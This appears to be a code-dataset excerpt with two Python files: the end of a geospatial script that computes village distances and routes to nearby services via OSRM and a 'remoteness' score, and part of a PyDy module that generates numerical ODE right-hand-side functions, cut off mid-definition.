each near school, hospital ...\n ##\n\n d_tag = dest[:3]\n \n ech0(\"Calculating nearest {} ({})...\".format(dest, d_tag))\n\n ## columns to add to the source dataset\n new_cols = {\n \"{}_near\".format(d_tag): 0, ## %%-near = ID of nearest essential service %%\n \"{}_dur\".format(d_tag): 0, ## %%-dur = duration of travel from village to %%\n \"{}_ndst\".format(d_tag): 0, ## %%-ndst = norm distance between village and %%\n \"{}_wdst\".format(d_tag): 0, ## %%-wdst = walking distance between village and %%\n \"snap_dist\": 0\n }\n\n for new_col, new_val in new_cols.items():\n if new_col not in d[source].columns:\n d[source] = d[source].assign(**{new_col: new_val})\n \n ## Get ids and coords for each destination\n d_ids = d[dest].index.tolist()\n d_coords = d[dest].geometry.apply(lambda c: (c.centroid.x, c.centroid.y)).tolist()\n\n max_idx = len(d[source])-1\n bar = progressbar.ProgressBar(max_value=max_idx)\n \n ## Loop thru source origins \n for origin in d[source].itertuples():\n \n (o_idx, o_geo) = (origin[0], origin[3]) # origin index, geometry\n o_coords = (o_geo.x, o_geo.y) # tuple of lon, lat\n\n bar.update(o_idx)\n\n ##\n ## Use OSRM to find distance between origin and all dests\n ##\n \n try:\n (d_dur, o_snap, d_snap) = osrm.table([o_coords],\n ids_origin = [o_idx],\n coords_dest = d_coords,\n ids_dest = d_ids,\n output=\"pandas\")\n\n except urllib.error.URLError as e:\n print(\"URLError. Perhaps osrm-backend is not started?\\n\" +\n \" Error: {}\".format(e.reason))\n sys.exit()\n\n ##\n ## Find the nearest destination and record stats\n ##\n \n d_dur = d_dur.transpose() ## duration from origin to all dests\n d_nearest = d_dur.idxmin()[o_idx] ## id of nearest dest\n d_nearest_dur = d_dur.min()[o_idx] ## duration from origin to nearest dest\n\n if not d_nearest == d_nearest: ## check for nan return values\n d_nearest = d_nearest_dur = d_ndst = -1\n else:\n d_ndst = round(vincenty(d_coords[d_nearest], o_coords).m)\n\n # origin snap distance\n o_sdst = round(vincenty(o_coords, tuple(o_snap[0])).m)\n\n ##\n ## Update the source dataset with the new stats\n ##\n \n ## Add the nearest destination info to source datasets\n d[source].set_value(o_idx, \"{}_near\".format(d_tag), d_nearest)\n d[source].set_value(o_idx, \"{}_dur\".format(d_tag), d_nearest_dur)\n d[source].set_value(o_idx, \"{}_ndst\".format(d_tag), d_ndst)\n d[source].set_value(o_idx, \"snap_dist\", o_sdst)\n\n bar.update(max_idx)\n \n return d[source]\n\ndef calc_route(d, source, dest):\n \n ##\n ### Compute route between each village and each nearest service\n ##\n\n global d_idx, o_idx, d_tag\n \n d_tag = dest[:3]\n\n ech0(\"Calculating routes to nearest {} ({})\".format(dest, d_tag))\n \n ## columns to add to each routes dataset\n route_cols = {\n \"org_id\": 0,\n \"dst_id\": 0,\n \"dist\": 0 \n }\n\n route_df = gp.GeoDataFrame().assign(**route_cols)\n routes = []\n\n max_idx = len(d[source])-1\n r_bar = progressbar.ProgressBar(max_value=max_idx)\n \n for origin in d[source].itertuples():\n \n (o_idx, o_geo) = (origin[0], origin[3])\n o_coords = (o_geo.x, o_geo.y)\n\n r_bar.update(o_idx)\n \n d_idx = getattr(d[source].iloc[o_idx], \"{}_near\".format(d_tag))\n d_row = d[dest].iloc[[d_idx]]\n \n d_coords = d_row.geometry.apply(lambda c: (c.centroid.x, c.centroid.y)).tolist()[0]\n #d_coords = (d_row.geometry.centroid.x, d_row.geometry.centroid.y)\n \n try:\n r_resp = osrm.simple_route(o_coords,\n d_coords,\n geometry=\"wkt\",\n overview=\"full\")\n except urllib.error.HTTPError as e:\n continue\n \n r_dist = r_resp[\"routes\"][0][\"distance\"]\n r_wkt = r_resp[\"routes\"][0][\"geometry\"]\n r_geom = wktToLineString(r_wkt)\n \n ## Set walking distance to each destination on source dataset\n d[source].set_value(o_idx, \"{}_wdst\".format(d_tag), r_dist)\n\n ## Create a linestring route between source and dest\n route = {\n \"org_id\": o_idx,\n \"dst_id\": d_idx,\n \"dist\": r_dist,\n \"geometry\": r_geom\n }\n \n routes.append(route)\n\n r_bar.update(max_idx)\n\n return route_df.append(routes)\n\ndef calc_perp_lines(d, smp_corridor, minDist_m, perpLen_m):\n\n ech0(\"Calculating perpendicular lines (minDist: {}m, perpLen: {}m)\".format(minDist_m, perpLen_m))\n \n corridor = d[smp_corridor]\n wgs84_m2deg = 1/( vincenty((0,0), (0,1)).m )\n \n minDist_d = wgs84_m2deg * minDist_m\n perpLen_d = wgs84_m2deg * perpLen_m\n\n perp_df = gp.GeoDataFrame().assign(name=\"\", osm_id=0, idx=0)\n perp_lines = []\n \n ## loop thru linestrings\n for feature in corridor.itertuples():\n\n (f_idx, f_geo) = (feature[0], feature[3])\n (f_x, f_y) = f_geo.coords.xy\n\n ncoords = len(f_x)\n node_idx = 0\n cum_length = 0\n\n if (ncoords <= 3):\n continue\n\n for i in range(ncoords-2):\n y0 = (f_x[i], f_y[i])\n y1 = (f_x[i+1], f_y[i+1])\n y2 = (f_x[i+2], f_y[i+2])\n\n cum_length = cum_length + Point(y0).distance(Point(y1))\n \n if cum_length >= minDist_d:\n\n ## Perpendicular point\n xp = (y2[0] - y0[0])\n yp = (y2[1] - y0[1])\n\n ## Avoid a Divide by Zero\n if xp == 0:\n xp = np.finfo(float).eps\n \n theta = np.arctan( yp/xp )\n\n dx = perpLen_d * np.cos(theta + np.pi/2)\n dy = perpLen_d * np.sin(theta + np.pi/2)\n\n ## Generate line from \n pt0 = ( (y1[0]-dx), (y1[1]-dy) )\n pt1 = ( y1[0], y1[1] )\n pt2 = ( (y1[0]+dx), (y1[1]+dy) )\n\n perp = {\n \"name\": feature[4],\n \"osm_id\": feature[5],\n \"idx\": node_idx,\n \"geometry\": LineString([pt0, pt1, pt2])\n }\n\n perp_lines.append(perp)\n\n node_idx = node_idx + 1\n cum_length = 0\n\n perp_df = perp_df.append(perp_lines)\n return perp_df\n\ndef calc_remoteness(d, source, dests_w):\n\n ##\n ### Calculates a \"remoteness\" statistic based upon distance to serviced & supplied rates\n ##\n\n ech0(\"Calculating \\\"remoteness\\\"\")\n\n ## Min-max normalization\n def norm(col):\n return (col - col.min()) / (col.max() - col.min())\n\n ##\n d[source] = d[source].assign(remote=0)\n \n for dest in list(dests_w):\n dist_col = d[source][\"{}_wdst\".format(dest[:3])] ## have _wdst be the parameter\n dist_norm = norm(dist_col)\n\n d[source][\"remote\"] = d[source][\"remote\"] + (dist_norm * dests_w[dest])\n\n d[source][\"remote\"] = norm(d[source][\"remote\"])\n \n return d[source]\n\n\ndef save_shp(d):\n\n ## \n ## Save output datasets \n ##\n\n ech0(\"Saving output shp\")\n\n for d_name, d_data in d.items():\n if d_name == source:\n filename = \"{}_remoteness.shp\".format(source)\n else:\n filename = \"{}.shp\".format(d_name)\n\n path = \"{}{}\".format(dirs[\"results\"], filename)\n print(\"Writing: {}\".format(path))\n d_data.to_file(path)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":10672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"37791054","text":"#!/usr/bin/env python\n\nimport warnings\n\nimport numpy as np\nimport numpy.linalg\nimport scipy.linalg\nimport sympy as sm\nimport sympy.physics.mechanics as me\nfrom sympy.core.function import UndefinedFunction\nCython = sm.external.import_module('Cython')\ntheano = sm.external.import_module('theano')\nif theano:\n from sympy.printing.theanocode import theano_function\n\nfrom .cython_code import CythonMatrixGenerator\n\n\nclass ODEFunctionGenerator(object):\n \"\"\"This is an abstract base class for all of the generators. A subclass\n is expected to implement the methods necessary to evaluate the arrays\n needed to compute xdot for the three different system specification\n types.\"\"\"\n\n _rhs_doc_template = \\\n\"\"\"\\\nReturns the derivatives of the states, i.e. numerically evaluates the right\nhand side of the first order differential equation.\n\nx' = f(x, t,{specified_call_sig} p)\n\nParameters\n==========\nx : ndarray, shape({num_states},)\n The state vector is ordered as such:\n{state_list}\nt : float\n The current time.{specifieds_explanation}{constants_explanation}\n\nReturns\n=======\ndx : ndarray, shape({num_states},)\n The derivative of the state vector.\n\n\"\"\"\n\n _constants_doc_templates = {}\n\n _constants_doc_templates[None] = \\\n\"\"\"\np : dictionary len({num_constants}) or ndarray shape({num_constants},)\n Either a dictionary that maps the constants symbols to their numerical\n values or an array with the constants in the following order:\n{constant_list}\\\n\"\"\"\n\n _constants_doc_templates['array'] = \\\n\"\"\"\np : ndarray shape({num_constants},)\n A ndarray of floats that give the numerical values of the constants in\n this order:\n {constant_list}\\\n\"\"\"\n\n _constants_doc_templates['dictionary'] = \\\n\"\"\"\np : dictionary len({num_constants})\n A dictionary that maps the constants symbols to their numerical values\n with at least these keys:\n{constant_list}\\\n\"\"\"\n\n _specifieds_doc_templates = {}\n\n _specifieds_doc_templates[None] = \\\n\"\"\"\nr : dictionary; ndarray, shape({num_specified},); function\n\n There are three options for this argument. (1) is more flexible but\n (2) and (3) are much more efficient.\n\n (1) A dictionary that maps the specified functions of time to floats,\n ndarrays, or functions that produce ndarrays. The keys can be a single\n specified symbolic function of time or a tuple of symbols. The total\n number of symbols must be equal to {num_specified}. If the value is a\n function it must be of the form g(x, t), where x is the current state\n vector ndarray and t is the current time float and it must return an\n ndarray of the correct shape. For example::\n\n r = {{a: 1.0,\n (d, b) : np.array([1.0, 2.0]),\n (e, f) : lambda x, t: np.array(x[0], x[1]),\n c: lambda x, t: np.array(x[2])}}\n\n (2) A ndarray with the specified values in the correct order and of the\n correct shape.\n\n (3) A function that must be of the form g(x, t), where x is the current\n state vector and t is the current time and it must return an ndarray of\n the correct shape.\n\n The specified inputs are, in order:\n{specified_list}\\\n\"\"\"\n\n _specifieds_doc_templates['array'] = \\\n\"\"\"\nr : ndarray, shape({num_specified},)\n\n A ndarray with the specified values in the correct order and of the\n correct shape.\n\n The specified inputs are, in order:\n{specified_list}\\\n\"\"\"\n\n _specifieds_doc_templates['function'] = \\\n\"\"\"\nr : function\n\n A function that must be of the form g(x, t), where x is the current\n state vector and t is the current time and it must return an ndarray of\n shape({num_specified},).\n\n The specified inputs are, in order:\n{specified_list}\\\n\"\"\"\n\n _specifieds_doc_templates['dictionary'] = \\\n\"\"\"\nr : dictionary\n A dictionary that maps the specified functions of time to floats,\n ndarrays, or functions that produce ndarrays. The keys can be a single\n specified symbolic function of time or a tuple of symbols. The total\n number of symbols must be equal to {num_specified}. If the value is a\n function it must be of the form g(x, t), where x is the current state\n vector ndarray and t is the current time float and it must return an\n ndarray of the correct shape. For example::\n\n r = {{a: 1.0,\n (d, b) : np.array([1.0, 2.0]),\n (e, f) : lambda x, t: np.array(x[0], x[1]),\n c: lambda x, t: np.array(x[2])}}\n\n The specified inputs are, in order:\n{specified_list}\\\n\"\"\"\n\n @staticmethod\n def _deduce_system_type(**kwargs):\n \"\"\"Based on the combination of arguments this returns which ODE\n description has been provided.\n\n full rhs\n x' = f(x, t, r, p)\n full mass matrix\n M(x, p) * x' = f(x, t, r, p)\n min mass matrix\n M(q, p) * u' = f(q, u, t, r, p)\n q' = g(q, u, t)\n\n \"\"\"\n\n if kwargs.pop('coordinate_derivatives') is not None:\n system_type = 'min mass matrix'\n elif kwargs.pop('mass_matrix') is not None:\n system_type = 'full mass matrix'\n else:\n system_type = 'full rhs'\n\n return system_type\n\n def __init__(self, right_hand_side, coordinates, speeds, constants,\n mass_matrix=None, coordinate_derivatives=None,\n specifieds=None, linear_sys_solver='numpy',\n constants_arg_type=None, specifieds_arg_type=None):\n \"\"\"Generates a numerical function which can evaluate the right hand\n side of the first order ordinary differential equations from a\n system described by one of the following three symbolic forms:\n\n [1] x' = F(x, t, r, p)\n\n [2] M(x, p) x' = F(x, t, r, p)\n\n [3] M(q, p) u' = F(q, u, t, r, p)\n q' = G(q, u, t, r, p)\n\n where\n\n x : states, i.e. [q, u]\n t : time\n r : specified (exogenous) inputs\n p : constants\n q : generalized coordinates\n u : generalized speeds\n M : mass matrix (full or minimum)\n F : right hand side (full or minimum)\n G : right hand side of the kinematical differential equations\n\n The generated function is of the form F(x, t, p) or F(x, t, r, p)\n depending on whether the system has specified inputs or not.\n\n Parameters\n ==========\n right_hand_side : SymPy Matrix, shape(n, 1)\n A column vector containing the symbolic expressions for the\n right hand side of the ordinary differential equations. If the\n right hand side has been solved for symbolically then only F is\n required, see form [1]; if not then the mass matrix must also be\n supplied, see forms [2, 3].\n coordinates : sequence of SymPy Functions\n The generalized coordinates. These must be ordered in the same\n order as the rows in M, F, and/or G and be functions of time.\n speeds : sequence of SymPy Functions\n The generalized speeds. These must be ordered in the same order\n as the rows in M, F, and/or G and be functions of time.\n constants : sequence of SymPy Symbols\n All of the constants present in the equations of motion. The\n order does not matter.\n mass_matrix : sympy.Matrix, shape(n, n), optional\n This can be either the \"full\" mass matrix as in [2] or the\n \"minimal\" mass matrix as in [3]. The rows and columns must be\n ordered to match the order of the coordinates and speeds. In the\n case of the full mass matrix, the speeds should always be\n ordered before the speeds, i.e. x = [q, u].\n coordinate_derivatives : sympy.Matrix, shape(m, 1), optional\n If the \"minimal\" mass matrix, form [3], is supplied, then this\n column vector represents the right hand side of the kinematical\n differential equations.\n specifieds : sequence of SymPy Functions\n The specified exogenous inputs to the system. These should be\n functions of time and the order does not matter.\n linear_sys_solver : string or function\n Specify either `numpy` or `scipy` to use the linear solvers\n provided in each package or supply a function that solves a\n linear system Ax=b with the call signature x = solve(A, b). For\n example, if you need to use custom kwargs for the SciPy solver,\n pass in a lambda function that wraps the solver and sets them.\n constants_arg_type : string\n The generated function accepts two different types of arguments\n for the numerical values of the constants: either a ndarray of\n the constants values in the correct order or a dictionary\n mapping the constants symbols to the numerical values. If None,\n this is determined inside of the generated function and can\n cause a significant slow down for performance critical code. If\n you know apriori what arg types you need to support choose\n either ``array`` or ``dictionary``. Note that ``array`` is\n faster than ``dictionary``.\n specifieds_arg_type : string\n The generated function accepts three different types of\n arguments for the numerical values of the specifieds: either a\n ndarray of the specifieds values in the correct order, a\n function that generates the correctly ordered ndarray, or a\n dictionary mapping the specifieds symbols or tuples of thereof\n to floats, ndarrays, or functions. If None, this is determined\n inside of the generated function and can cause a significant\n slow down for performance critical code. If you know apriori\n what arg types you want to support choose either ``array``,\n ``function``, or ``dictionary``. The speed of each, from fast to\n slow, are ``array``, ``function``, ``dictionary``, None.\n\n Notes\n =====\n The generated function still supports the pre-0.3.0 extra argument\n style, i.e. args = {'constants': ..., 'specified': ...}, but only if\n ``constants_arg_type`` and ``specifieds_arg_type`` are both set to\n None. This functionality is deprecated and will be removed in 0.4.0,\n so it's best to adjust your code to support the new argument types.\n See the docstring for the generated function for more info on the\n new style of arguments.\n\n \"\"\"\n\n self.right_hand_side = right_hand_side\n self.coordinates = coordinates\n self.speeds = speeds\n self.constants = constants\n self.mass_matrix = mass_matrix\n self.coordinate_derivatives = coordinate_derivatives\n self.specifieds = specifieds\n self.linear_sys_solver = linear_sys_solver\n self.constants_arg_type = constants_arg_type\n self.specifieds_arg_type = specifieds_arg_type\n\n self.system_type = self._deduce_system_type(\n mass_matrix=mass_matrix,\n coordinate_derivatives=coordinate_derivatives)\n\n self.num_coordinates = len(coordinates)\n self.num_speeds = len(speeds)\n self.num_states = self.num_coordinates + self.num_speeds\n self.num_constants = len(constants)\n\n if self.specifieds is None:\n self.num_specifieds = 0\n self.specifieds_arg_type = None\n else:\n self.num_specifieds = len(specifieds)\n\n # These are pre-allocated storage for the numerical values used in\n # some of the rhs() evaluations.\n self._constants_values = np.empty(self.num_constants)\n self._specifieds_values = np.empty(self.num_specifieds)\n\n self._check_system_consitency()\n\n @property\n def linear_sys_solver(self):\n return self._linear_sys_solver\n\n @linear_sys_solver.setter\n def linear_sys_solver(self, v):\n\n if isinstance(v, type(lambda x: x)):\n self._solve_linear_system = v\n elif v == 'numpy':\n self._solve_linear_system = numpy.linalg.solve\n elif v == 'scipy':\n self._solve_linear_system = scipy.linalg.solve\n else:\n msg = '{} is not a valid solver.'\n raise ValueError(msg.format(self.linear_sys_solver))\n\n def _check_system_consitency(self):\n\n if self.system_type == 'min mass matrix':\n\n nr, nc = self.mass_matrix.shape\n assert self.num_speeds == nr == nc\n assert self.num_speeds == self.right_hand_side.shape[0]\n assert self.num_coordinates == self.coordinate_derivatives.shape[0]\n\n elif self.system_type == 'full mass matrix':\n\n nr, nc = self.mass_matrix.shape\n assert self.num_states == nr == nc\n assert self.num_states == self.right_hand_side.shape[0]\n assert self.coordinate_derivatives is None\n\n elif self.system_type == 'full rhs':\n\n assert self.num_states == self.right_hand_side.shape[0]\n assert self.mass_matrix is None\n assert self.coordinate_derivatives is None\n\n @staticmethod\n def list_syms(indent, syms):\n \"\"\"Returns a string representation of a valid rst list of the\n symbols in the sequence syms and indents the list given the integer\n number of indentations.\"\"\"\n indentation = ' ' * indent\n lst = '- ' + ('\\n' + indentation + '- ').join([str(s) for s in syms])\n return indentation + lst\n\n def _parse_old_style_extra_args(self, *args):\n \"\"\"Returns the post-0.3.0 style args if the pre-0.3.0 style args are\n passed in. The pre-0.3.0 style args always have three args: (x, t,\n d) where d is is a dictionary which should always at least contain\n the key 'constants'. It may also contain a key 'specified'.\"\"\"\n\n # DEPRECATED : Remove before 0.4.0 release.\n\n last_arg = args[-1]\n try:\n constants = last_arg['constants']\n # ValueError is needed for older NumPy versions.\n except (KeyError, IndexError, ValueError):\n return args\n else:\n with warnings.catch_warnings():\n warnings.simplefilter('once')\n warnings.warn(\"The old style args, i.e. {'constants': , \"\n \"'specified'}, for the generated function will \"\n \"be removed in PyDy 0.4.0.\", DeprecationWarning)\n\n new_args = list(args[:-1]) # gets x and t\n\n if self.specifieds is not None:\n new_args.append(last_arg['specified'])\n\n new_args.append(constants)\n\n return tuple(new_args)\n\n def _convert_constants_dict_to_array(self, p):\n \"\"\"Returns an array of numerical values from the constants\n dictionary in the correct order.\"\"\"\n\n # NOTE : It's unfortunate that this has to be run at every rhs eval,\n # because subsequent calls to rhs() doesn't require different\n # constants. I suppose you can sub out all the constants in the EoMs\n # before passing them into the generator. That would beg for the\n # capability to support self.constants=None to skip all of this\n # stuff in the rhs eval.\n for i, c in enumerate(self.constants):\n self._constants_values[i] = p[c]\n\n return self._constants_values\n\n def _parse_constants(self, *args):\n \"\"\"Returns an ndarray containing the numerical values of the\n constants in the correct order. If the constants are already an\n array, that array is returned.\"\"\"\n\n p = args[-1]\n try:\n p = self._convert_constants_dict_to_array(p)\n except IndexError:\n # p is an array so just return the args\n return args\n else:\n return args[:-1] + (p,)\n\n def _convert_specifieds_dict_to_array(self, x, t, r):\n\n for k, v in r.items():\n # TODO : Not sure if this is the best check here.\n if isinstance(type(k), UndefinedFunction):\n k = (k,)\n idx = [self.specifieds.index(symmy) for symmy in k]\n try:\n self._specifieds_values[idx] = v(x, t)\n except TypeError: # not callable\n # If not callable, then it should be a float, ndarray,\n # or indexable.\n self._specifieds_values[idx] = v\n\n return self._specifieds_values\n\n def _parse_specifieds(self, x, t, r, p):\n\n if isinstance(r, dict):\n # NOTE : This function sets self._specifieds_values, so here we\n # return nothing.\n self._convert_specifieds_dict_to_array(x, t, r)\n else:\n # More efficient.\n try:\n self._specifieds_values[:] = r(x, t)\n except TypeError: # not callable.\n # If not callable, then it should be a float or ndarray.\n self._specifieds_values[:] = r\n\n return x, t, self._specifieds_values, p\n\n def _parse_all_args(self, *args):\n \"\"\"Returns args formatted for the post 0.3.0 generators using all of\n the parsers. This is the slowest method and is used by default if no\n information is provided by the user on which type of args will be\n passed in.\"\"\"\n\n args = self._parse_old_style_extra_args(*args)\n\n args = self._parse_constants(*args)\n\n if self.specifieds is not None:\n args = self._parse_specifieds(*args)\n\n return args\n\n def _generate_rhs_docstring(self):\n\n template_values = {'num_states': self.num_states,\n 'state_list': self.list_syms(8, self.coordinates\n + self.speeds),\n 'specified_call_sig': '',\n 'constants_explanation':\n self._constants_doc_templates[\n self.constants_arg_type].format(**{\n 'num_constants': self.num_constants,\n 'constant_list': self.list_syms(\n 8, self.constants)}),\n 'specifieds_explanation': ''}\n\n if self.specifieds is not None:\n template_values['specified_call_sig'] = ' r,'\n specified_template_values = {\n 'num_specified': self.num_specifieds,\n 'specified_list': self.list_syms(8, self.specifieds)}\n template_values['specifieds_explanation'] = \\\n self._specifieds_doc_templates[self.constants_arg_type].format(\n **specified_template_values)\n\n return self._rhs_doc_template.format(**template_values)\n\n def _create_rhs_function(self):\n \"\"\"Returns a function in the form expected by scipy.integrate.odeint\n that computes the derivatives of the states.\"\"\"\n\n # This god awful mess below exists because of the need to optimize\n # the speed of the rhs evaluation. We unfortunately support way too\n # many ways to pass in extra arguments to the generated rhs\n # function. The default behavior is to parse the arguments passed\n # into the rhs function which can add a lot of computational\n # overhead. So we allow the user to specify what type the extra args\n # should be for both the constants and the specifieds. The constants\n # can be None, 'array', or 'dictionary'. The specifieds can be None,\n # 'array', 'function', or 'dictionary'. Thus we have 12 permutations\n # of this \"switch\".\n\n p_arg_type = self.constants_arg_type\n r_arg_type = self.specifieds_arg_type\n\n def slice_x(x):\n q = x[:self.num_coordinates]\n u = x[self.num_coordinates:]\n return q, u\n\n if p_arg_type is None and r_arg_type is None:\n\n # This is the only rhs that will properly check for the\n # pre-0.3.0 rhs args for backwards compatibility.\n\n def rhs(*args):\n # args: x, t, p\n # or\n # args: x, t, r, p\n\n args = self._parse_all_args(*args)\n\n q, u = slice_x(args[0])\n\n xdot = self._base_rhs(q, u, *args[2:])\n\n return xdot\n\n elif p_arg_type == 'array' and r_arg_type is None:\n\n # This could be combined with:\n # elif p_arg_type == 'array' and r_arg_type == 'array':\n\n def rhs(*args):\n # args: x, t, p\n # or\n # args: x, t, r, p\n\n if self.specifieds is not None:\n args = self._parse_specifieds(*args)\n\n q, u = slice_x(args[0])\n\n return self._base_rhs(q, u, *args[2:])\n\n elif p_arg_type == 'dictionary' and r_arg_type is None:\n\n # This could be combined with:\n # elif p_arg_type == 'dictionary' and r_arg_type == 'array':\n\n def rhs(*args):\n # args: x, t, p\n # or\n # args: x, t, r, p\n\n if self.specifieds is not None:\n args = self._parse_specifieds(*args)\n\n p = self._convert_constants_dict_to_array(args[-1])\n\n q, u = slice_x(args[0])\n\n xdot = self._base_rhs(q, u, *(args[2:-1] + (p,)))\n\n return xdot\n\n # All of the cases below must have specifieds, so the number of args\n # is known. r_arg_type is forces to be None if self.specifieds is\n # None.\n\n elif p_arg_type is None and r_arg_type == 'array':\n\n def rhs(*args):\n # args: x, t, r, p\n\n args = self._parse_constants(*args)\n\n q, u = slice_x(args[0])\n\n return self._base_rhs(q, u, *args[2:])\n\n elif p_arg_type == 'array' and r_arg_type == 'array':\n\n def rhs(*args):\n # args: x, t, r, p\n\n q, u = slice_x(args[0])\n\n return self._base_rhs(q, u, *args[2:])\n\n elif p_arg_type == 'dictionary' and r_arg_type == 'array':\n\n def rhs(*args):\n # args: x, t, r, p\n\n p = self._convert_constants_dict_to_array(args[-1])\n\n q, u = slice_x(args[0])\n\n return self._base_rhs(q, u, *(args[2:-1] + (p,)))\n\n elif p_arg_type is None and r_arg_type == 'dictionary':\n\n def rhs(*args):\n # args: x, t, r, p\n\n args = self._parse_constants(*args)\n\n q, u = slice_x(args[0])\n\n r = self._convert_specifieds_dict_to_array(*args[:3])\n\n return self._base_rhs(q, u, r, args[-1])\n\n elif p_arg_type == 'array' and r_arg_type == 'dictionary':\n\n def rhs(*args):\n # args: x, t, r, p\n\n q, u = slice_x(args[0])\n\n r = self._convert_specifieds_dict_to_array(*args[:3])\n\n return self._base_rhs(q, u, r, args[-1])\n\n elif p_arg_type == 'dictionary' and r_arg_type == 'dictionary':\n\n def rhs(*args):\n # args: x, t, r, p\n\n q, u = slice_x(args[0])\n\n p = self._convert_constants_dict_to_array(args[-1])\n\n r = self._convert_specifieds_dict_to_array(*args[:3])\n\n return self._base_rhs(q, u, r, p)\n\n elif p_arg_type is None and r_arg_type == 'function':\n\n def rhs(*args):\n # args: x, t, r, p\n\n q, u = slice_x(args[0])\n\n args = self._parse_constants(*args)\n\n r = args[2](*args[:2])\n\n return self._base_rhs(q, u, r, args[-1])\n\n elif p_arg_type == 'array' and r_arg_type == 'function':\n\n def rhs(*args):\n # args: x, t, r, p\n\n q, u = slice_x(args[0])\n\n r = args[2](*args[:2])\n\n return self._base_rhs(q, u, r, args[-1])\n\n elif p_arg_type == 'dictionary' and r_arg_type == 'function':\n\n def rhs(*args):\n # args: x, t, r, p\n\n q, u = slice_x(args[0])\n\n p = self._convert_constants_dict_to_array(args[-1])\n\n r = args[2](*args[:2])\n\n return self._base_rhs(q, u, r, p)\n\n rhs.__doc__ = self._generate_rhs_docstring()\n\n return rhs\n\n def _create_base_rhs_function(self):\n \"\"\"Sets the self._base_rhs function. This functin accepts arguments\n in this form: (q, u, p) or (q, u, r, p).\"\"\"\n\n if self.system_type == 'full rhs':\n\n self._base_rhs = self.eval_arrays\n\n elif self.system_type == 'full mass matrix':\n\n def base_rhs(*args):\n\n M, F = self.eval_arrays(*args)\n return self._solve_linear_system(M, F)\n\n self._base_rhs = base_rhs\n\n elif self.system_type == 'min mass matrix':\n\n xdot = np.empty(self.num_states, dtype=float)\n\n def base_rhs(*args):\n M, F, qdot = self.eval_arrays(*args)\n if self.num_speeds == 1:\n udot = F / M\n else:\n udot = self._solve_linear_system(M, F)\n xdot[:self.num_coordinates] = qdot\n xdot[self.num_coordinates:] = udot\n return xdot\n\n self._base_rhs = base_rhs\n\n def define_inputs(self):\n \"\"\"Sets self.inputs to the list of sequences [q, u, p] or [q, u, r,\n p].\"\"\"\n\n self.inputs = [self.coordinates, self.speeds, self.constants]\n\n if self.specifieds is not None:\n self.inputs.insert(2, self.specifieds)\n\n def generate(self):\n \"\"\"Returns a function that evaluates the right hand side of the\n first order ordinary differential equations in one of two forms:\n\n x' = f(x, t, p)\n\n or\n\n x' = f(x, t, r, p)\n\n See the docstring of the generated function for more details.\n\n \"\"\"\n\n if self.system_type == 'full rhs':\n self.generate_full_rhs_function()\n elif self.system_type == 'full mass matrix':\n self.generate_full_mass_matrix_function()\n elif self.system_type == 'min mass matrix':\n self.generate_min_mass_matrix_function()\n\n self._create_base_rhs_function()\n\n return self._create_rhs_function()\n\n\nclass CythonODEFunctionGenerator(ODEFunctionGenerator):\n\n def __init__(self, *args, **kwargs):\n\n if Cython is None:\n raise ImportError('Cython must be installed to use this class.')\n else:\n super(CythonODEFunctionGenerator, self).__init__(*args, **kwargs)\n\n @staticmethod\n def _cythonize(outputs, inputs):\n return CythonMatrixGenerator(inputs, outputs).compile()\n\n def _set_eval_array(self, f):\n\n if self.specifieds is None:\n self.eval_arrays = lambda q, u, p: f(q, u, p, *self._empties)\n else:\n self.eval_arrays = lambda q, u, r, p: f(q, u, r, p,\n *self._empties)\n\n def generate_full_rhs_function(self):\n\n self.define_inputs()\n outputs = [self.right_hand_side]\n\n self._empties = (np.empty(self.num_states, dtype=float),)\n\n self._set_eval_array(self._cythonize(outputs, self.inputs))\n\n def generate_full_mass_matrix_function(self):\n\n self.define_inputs()\n outputs = [self.mass_matrix, self.right_hand_side]\n\n mass_matrix_result = np.empty(self.num_states ** 2, dtype=float)\n rhs_result = np.empty(self.num_states, dtype=float)\n\n self._empties = (mass_matrix_result, rhs_result)\n\n self._set_eval_array(self._cythonize(outputs, self.inputs))\n\n def generate_min_mass_matrix_function(self):\n\n self.define_inputs()\n outputs = [self.mass_matrix, self.right_hand_side,\n self.coordinate_derivatives]\n\n mass_matrix_result = np.empty(self.num_speeds ** 2, dtype=float)\n rhs_result = np.empty(self.num_speeds, dtype=float)\n kin_diffs_result = np.empty(self.num_coordinates, dtype=float)\n self._empties = (mass_matrix_result, rhs_result, kin_diffs_result)\n\n self._set_eval_array(self._cythonize(outputs, self.inputs))\n\n\nclass LambdifyODEFunctionGenerator(ODEFunctionGenerator):\n\n def _lambdify(self, outputs):\n # TODO : We could forgo this substitution for generation speed\n # purposes and have lots of args for lambdify (like it used to be\n # done) but there may be some limitations on number of args.\n subs = {}\n vec_inputs = []\n if self.specifieds is None:\n def_vecs = ['q', 'u', 'p']\n else:\n def_vecs = ['q', 'u', 'r', 'p']\n\n for syms, vec_name in zip(self.inputs, def_vecs):\n v = sm.DeferredVector(vec_name)\n for i, sym in enumerate(syms):\n subs[sym] = v[i]\n vec_inputs.append(v)\n\n try:\n outputs = [me.msubs(output, subs) for output in outputs]\n except AttributeError:\n # msubs doesn't exist in SymPy < 0.7.6.\n outputs = [output.subs(subs) for output in outputs]\n\n modules = [{'ImmutableMatrix': np.array}, 'numpy']\n\n return sm.lambdify(vec_inputs, outputs, modules=modules)\n\n def generate_full_rhs_function(self):\n\n self.define_inputs()\n outputs = [self.right_hand_side]\n\n f = self._lambdify(outputs)\n\n if self.specifieds is None:\n self.eval_arrays = lambda q, u, p: np.squeeze(f(q, u, p))\n else:\n self.eval_arrays = lambda q, u, r, p: np.squeeze(f(q, u, r, p))\n\n def generate_full_mass_matrix_function(self):\n\n self.define_inputs()\n outputs = [self.mass_matrix, self.right_hand_side]\n\n f = self._lambdify(outputs)\n\n if self.specifieds is None:\n self.eval_arrays = lambda q, u, p: tuple([np.squeeze(o) for o in\n f(q, u, p)])\n else:\n self.eval_arrays = lambda q, u, r, p: tuple([np.squeeze(o) for o\n in f(q, u, r, p)])\n\n def generate_min_mass_matrix_function(self):\n\n self.define_inputs()\n outputs = [self.mass_matrix, self.right_hand_side,\n self.coordinate_derivatives]\n\n f = self._lambdify(outputs)\n\n if self.specifieds is None:\n self.eval_arrays = lambda q, u, p: tuple([np.squeeze(o) for o in\n f(q, u, p)])\n else:\n self.eval_arrays = lambda q, u, r, p: tuple([np.squeeze(o) for o\n in f(q, u, r, p)])\n\n\nclass 